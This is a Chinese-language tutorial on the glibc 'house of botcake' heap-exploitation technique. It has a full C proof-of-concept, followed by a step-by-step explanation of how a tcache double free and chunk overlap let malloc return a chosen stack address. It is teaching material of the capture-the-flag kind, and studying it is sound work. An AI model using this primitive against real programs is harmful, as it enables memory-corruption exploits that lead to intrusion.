house_of_botcake
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <assert.h>
int main(){
setbuf(stdin, NULL);
setbuf(stdout, NULL);
puts("house_of_botcake 是针对 glibc2.29 对 tcache double free 做出限制以后提出的利用方法");
intptr_t stack_var[4];
printf("我们希望 malloc 到的地址是 %p.\n\n", stack_var);
puts("malloc 7 个 chunk 以便稍后填满 tcache");
intptr_t *x[7];
for(int i=0; i<sizeof(x)/sizeof(intptr_t*); i++){
x[i] = malloc(0x100);
}
intptr_t *prev = malloc(0x100);
printf("malloc(0x100): prev=%p. 待会用\n", prev);
intptr_t *a = malloc(0x100);
printf("再 malloc(0x100): a=%p. 作为攻击的 chunk\n", a);
puts("最后 malloc(0x10) 防止与 top chunk 合并\n");
malloc(0x10);
puts("接下来构造 chunk overlapping");
puts("第一步: 填满 tcache 链表");
for(int i=0; i<7; i++){
free(x[i]);
}
puts("第二步: free 掉 chunk a,放入 unsorted bin 中");
free(a);
puts("第三步: 释放掉 chunk prev 因为后面是一个 free chunk,所以他会与 chunk a 合并");
free(prev);
puts("第四步: 这时候已经没有指向 chunk a 的指针了,从 tcache 中取出一个,然后再次 free(a) 就把 chunk a 加入到了 tcache 中,造成了 double free \n");
malloc(0x100);
free(a);
puts("再去 malloc 一个 0x120 会从 unsorted bin 中分割出来,也就控制了前面已经合并的那个 chunk a 了");
intptr_t *b = malloc(0x120);
puts("把 chunk a 的指针给改为前面声明的 stack_var 的地址");
b[0x120/8-2] = (long)stack_var;
malloc(0x100);
puts("去 malloc 一个就能申请到 stack_var 了");
intptr_t *c = malloc(0x100);
printf("新申请的 chunk 在:%p\n", c);
return 0;
}
2应用
利用tcache进行malloc到任意地址
3原理
这边主要用的是一个堆重叠的原理(overlapping)
首先我们申请七个堆块
for(int i=0; i<sizeof(x)/sizeof(intptr_t*); i++){
x[i] = malloc(0x100);
}
这边的七个堆块都没啥用,单纯用来填满tacache
然后申请8号和9号堆块
intptr_t *prev = malloc(0x100);
printf("malloc(0x100): prev=%p. 待会用\n", prev);
intptr_t *a = malloc(0x100);
printf("再 malloc(0x100): a=%p. 作为攻击的 chunk\n", a);
最后申请一个0x10的堆块防止和top chunk合并
然后首先把之前的七个释放填满tcache
for(int i=0; i<7; i++){
free(x[i]);
}
然后把之前最后申请的两个堆块释放,这样8号和9号堆快就被放入了unstored bin里面,然后两个玩意就合并了
此时我们在申请一个大小为0x100的堆块出来(这个堆块是从tache里面出来的,同时也是之前的第七个chunk),
此时我们再次free掉9号堆块,就会把9号堆块再次放入tacahe里从而达到double free的目的
次是我们所申请的0x120的堆块将从之前合并的8号和9好的堆块里,也就是unstored bin里切割出来一部分,剩下的就是很经典的overlapping
此时我们可以通过修改最后申请出来的10号堆来更改9号堆的内容,
而此时只要我们将9号堆的fd指针修改为我们想要的地址,那么此时的tacahe链因为刚好9号堆在tacahe的头部而产生断链,此时我们就可以去往我们想要去的地址
此时我们只要malloc两次就能得到想要的chunk